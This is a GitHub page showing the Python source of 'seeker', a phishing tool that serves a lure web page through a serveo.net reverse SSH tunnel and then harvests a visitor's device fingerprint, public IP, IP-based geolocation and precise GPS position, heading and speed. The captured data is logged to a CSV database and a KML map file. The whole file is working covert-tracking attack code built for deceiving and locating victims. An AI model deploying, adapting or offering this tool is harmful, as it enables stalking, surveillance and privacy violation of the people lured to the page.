forked from thewhiteh4t/seeker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
seeker.py
executable file
·373 lines (319 loc) · 10.7 KB
/
seeker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white
from shutil import which
print(G + '[+]' + C + ' Checking Dependencies...' + W)
pkgs = ['python3', 'pip3', 'php', 'ssh']
inst = True
for pkg in pkgs:
present = which(pkg)
if present == None:
print(R + '[-] ' + W + pkg + C + ' is not Installed!')
inst = False
else:
pass
if inst == False:
exit()
else:
pass
import os
import csv
import sys
import time
import json
import argparse
import requests
import subprocess as subp
parser = argparse.ArgumentParser()
parser.add_argument('-s', '--subdomain', help='Provide Subdomain for Serveo URL ( Optional )')
parser.add_argument('-k', '--kml', help='Provide KML Filename ( Optional )')
parser.add_argument('-t', '--tunnel', help='Specify Tunnel Mode [ Available : manual ]')
parser.add_argument('-p', '--port', type=int, default=8080, help='Port for Web Server [ Default : 8080 ]')
args = parser.parse_args()
subdom = args.subdomain
kml_fname = args.kml
tunnel_mode = args.tunnel
port = args.port
row = []
info = ''
result = ''
version = '1.2.5'
def banner():
print (G +
r'''
__
______ ____ ____ | | __ ____ _______
/ ___/_/ __ \_/ __ \ | |/ /_/ __ \\_ __ \
\___ \ \ ___/\ ___/ | < \ ___/ | | \/
/____ > \___ >\___ >|__|_ \ \___ >|__|
\/ \/ \/ \/ \/ ''' + W)
print('\n' + G + '[>]' + C + ' Created By : ' + W + 'thewhiteh4t')
print(G + '[>]' + C + ' Version : ' + W + version + '\n')
def ver_check():
print(G + '[+]' + C + ' Checking for Updates.....', end='')
ver_url = 'https://raw.githubusercontent.com/thewhiteh4t/seeker/master/version.txt'
try:
ver_rqst = requests.get(ver_url)
ver_sc = ver_rqst.status_code
if ver_sc == 200:
github_ver = ver_rqst.text
github_ver = github_ver.strip()
if version == github_ver:
print(C + '[' + G + ' Up-To-Date ' + C +']' + '\n')
else:
print(C + '[' + G + ' Available : {} '.format(github_ver) + C + ']' + '\n')
else:
print(C + '[' + R + ' Status : {} '.format(ver_sc) + C + ']' + '\n')
except Exception as e:
print('\n' + R + '[-]' + C + ' Exception : ' + W + str(e))
def tunnel_select():
if tunnel_mode == None:
serveo()
elif tunnel_mode == 'manual':
print(G + '[+]' + C + ' Skipping Serveo, start your own tunnel service manually...' + W + '\n')
else:
print(R + '[+]' + C + ' Invalid Tunnel Mode Selected, Check Help [-h, --help]' + W + '\n')
exit()
def template_select():
global site, info, result
print(G + '[+]' + C + ' Select a Template : ' + W + '\n')
with open('template/templates.json', 'r') as templ:
templ_info = templ.read()
templ_json = json.loads(templ_info)
for item in templ_json['templates']:
name = item['name']
print(G + '[{}]'.format(templ_json['templates'].index(item)) + C + ' {}'.format(name) + W)
selected = int(input(G + '[>] ' + W))
try:
site = templ_json['templates'][selected]['dir_name']
except IndexError:
print('\n' + R + '[-]' + C + ' Invalid Input!' + W + '\n')
sys.exit()
print('\n' + G + '[+]' + C + ' Loading {} Template...'.format(templ_json['templates'][selected]['name']) + W)
module = templ_json['templates'][selected]['module']
if module == True:
imp_file = templ_json['templates'][selected]['import_file']
import importlib
importlib.import_module('template.{}'.format(imp_file))
else:
pass
info = 'template/{}/php/info.txt'.format(site)
result = 'template/{}/php/result.txt'.format(site)
def serveo():
global subdom
flag = False
print(G + '[+]' + C + ' Checking Serveo Status...', end='')
try:
time.sleep(1)
rqst = requests.get('https://serveo.net', timeout=5)
sc = rqst.status_code
if sc == 200:
print(C + '[' + G + ' Online ' + C + ']' + W + '\n')
else:
print(C + '[' + R + 'Status : {}'.format(sc) + C + ']' + W + '\n')
exit()
except requests.ConnectionError:
print(C + '[' + R + ' Offline ' + C + ']' + W + '\n')
exit()
print(G + '[+]' + C + ' Getting Serveo URL...' + W + '\n')
if subdom is None:
with open('logs/serveo.txt', 'w') as tmpfile:
proc = subp.Popen(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R', '80:localhost:{}'.format(port), 'serveo.net'], stdout=tmpfile, stderr=tmpfile, stdin=subp.PIPE)
else:
with open('logs/serveo.txt', 'w') as tmpfile:
proc = subp.Popen(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R', '{}.serveo.net:80:localhost:{}'.format(subdom, port), 'serveo.net'], stdout=tmpfile, stderr=tmpfile, stdin=subp.PIPE)
while True:
with open('logs/serveo.txt', 'r') as tmpfile:
try:
stdout = tmpfile.readlines()
if flag == False:
for elem in stdout:
if 'HTTP' in elem:
elem = elem.split(' ')
url = elem[4].strip()
print(G + '[+]' + C + ' URL : ' + W + url + '\n')
flag = True
else:
pass
elif flag == True:
break
except Exception as e:
print(e)
pass
time.sleep(2)
def server():
print('\n' + G + '[+]' + C + ' Port : '+ W + str(port))
print('\n' + G + '[+]' + C + ' Starting PHP Server......' + W, end='')
with open('logs/php.log', 'w') as phplog:
subp.Popen(['php', '-S', '0.0.0.0:{}'.format(port), '-t', 'template/{}/'.format(site)], stdout=phplog, stderr=phplog)
time.sleep(3)
try:
php_rqst = requests.get('https://0.0.0.0:{}/index.html'.format(port))
php_sc = php_rqst.status_code
if php_sc == 200:
print(C + '[' + G + ' Success ' + C + ']' + W)
else:
print(C + '[' + R + 'Status : {}'.format(php_sc) + C + ']' + W)
except requests.ConnectionError:
print(C + '[' + R + ' Failed ' + C + ']' + W)
Quit()
def wait():
printed = False
while True:
time.sleep(2)
size = os.path.getsize(result)
if size == 0 and printed == False:
print('\n' + G + '[+]' + C + ' Waiting for User Interaction...' + W + '\n')
printed = True
if size > 0:
main()
def main():
global info, result, row, var_lat, var_lon
try:
row = []
with open (info, 'r') as file2:
file2 = file2.read()
json3 = json.loads(file2)
for value in json3['dev']:
var_os = value['os']
var_platform = value['platform']
try:
var_cores = value['cores']
except TypeError:
var_cores = 'Not Available'
var_ram = value['ram']
var_vendor = value['vendor']
var_render = value['render']
var_res = value['wd'] + 'x' + value['ht']
var_browser = value['browser']
var_ip = value['ip']
row.append(var_os)
row.append(var_platform)
row.append(var_cores)
row.append(var_ram)
row.append(var_vendor)
row.append(var_render)
row.append(var_res)
row.append(var_browser)
row.append(var_ip)
print(G + '[+]' + C + ' Device Information : ' + W + '\n')
print(G + '[+]' + C + ' OS : ' + W + var_os)
print(G + '[+]' + C + ' Platform : ' + W + var_platform)
print(G + '[+]' + C + ' CPU Cores : ' + W + var_cores)
print(G + '[+]' + C + ' RAM : ' + W + var_ram)
print(G + '[+]' + C + ' GPU Vendor : ' + W + var_vendor)
print(G + '[+]' + C + ' GPU : ' + W + var_render)
print(G + '[+]' + C + ' Resolution : ' + W + var_res)
print(G + '[+]' + C + ' Browser : ' + W + var_browser)
print(G + '[+]' + C + ' Public IP : ' + W + var_ip)
rqst = requests.get('https://free.ipwhois.io/json/{}'.format(var_ip))
sc = rqst.status_code
if sc == 200:
data = rqst.text
data = json.loads(data)
var_continent = str(data['continent'])
var_country = str(data['country'])
var_region = str(data['region'])
var_city = str(data['city'])
var_org = str(data['org'])
var_isp = str(data['isp'])
row.append(var_continent)
row.append(var_country)
row.append(var_region)
row.append(var_city)
row.append(var_org)
row.append(var_isp)
print(G + '[+]' + C + ' Continent : ' + W + var_continent)
print(G + '[+]' + C + ' Country : ' + W + var_country)
print(G + '[+]' + C + ' Region : ' + W + var_region)
print(G + '[+]' + C + ' City : ' + W + var_city)
print(G + '[+]' + C + ' Org : ' + W + var_org)
print(G + '[+]' + C + ' ISP : ' + W + var_isp)
except ValueError:
pass
try:
with open (result, 'r') as file:
file = file.read()
json2 = json.loads(file)
for value in json2['info']:
var_lat = value['lat'] + ' deg'
var_lon = value['lon'] + ' deg'
var_acc = value['acc'] + ' m'
var_alt = value['alt']
if var_alt == '':
var_alt = 'Not Available'
else:
var_alt == value['alt'] + ' m'
var_dir = value['dir']
if var_dir == '':
var_dir = 'Not Available'
else:
var_dir = value['dir'] + ' deg'
var_spd = value['spd']
if var_spd == '':
var_spd = 'Not Available'
else:
var_spd = value['spd'] + ' m/s'
row.append(var_lat)
row.append(var_lon)
row.append(var_acc)
row.append(var_alt)
row.append(var_dir)
row.append(var_spd)
print ('\n' + G + '[+]' + C + ' Location Information : ' + W + '\n')
print (G + '[+]' + C + ' Latitude : ' + W + var_lat)
print (G + '[+]' + C + ' Longitude : ' + W + var_lon)
print (G + '[+]' + C + ' Accuracy : ' + W + var_acc)
print (G + '[+]' + C + ' Altitude : ' + W + var_alt)
print (G + '[+]' + C + ' Direction : ' + W + var_dir)
print (G + '[+]' + C + ' Speed : ' + W + var_spd)
except ValueError:
error = file
print ('\n' + R + '[-] ' + W + error)
repeat()
print ('\n' + G + '[+]' + C + ' Google Maps.................: ' + W + 'https://www.google.com/maps/place/' + var_lat.strip(' deg') + '+' + var_lon.strip(' deg'))
if kml_fname is not None:
kmlout(var_lat, var_lon)
csvout()
repeat()
def kmlout(var_lat, var_lon):
with open('template/sample.kml', 'r') as kml_sample:
kml_sample_data = kml_sample.read()
kml_sample_data = kml_sample_data.replace('LONGITUDE', var_lon.strip(' deg'))
kml_sample_data = kml_sample_data.replace('LATITUDE', var_lat.strip(' deg'))
with open('{}.kml'.format(kml_fname), 'w') as kml_gen:
kml_gen.write(kml_sample_data)
print(G + '[+]' + C + ' KML File Generated..........: ' + W + os.getcwd() + '/{}.kml'.format(kml_fname))
def csvout():
global row
with open('db/results.csv', 'a') as csvfile:
writer = csv.writer(csvfile)
writer.writerow(row)
print(G + '[+]' + C + ' New Entry Added in Database.: ' + W + os.getcwd() + '/db/results.csv')
def clear():
global result
with open (result, 'w+'): pass
with open (info, 'w+'): pass
def repeat():
clear()
wait()
main()
def Quit():
global result
with open (result, 'w+'): pass
os.system('pkill php')
exit()
try:
banner()
ver_check()
tunnel_select()
template_select()
server()
wait()
main()
except KeyboardInterrupt:
print ('\n' + R + '[!]' + C + ' Keyboard Interrupt.' + W)
Quit()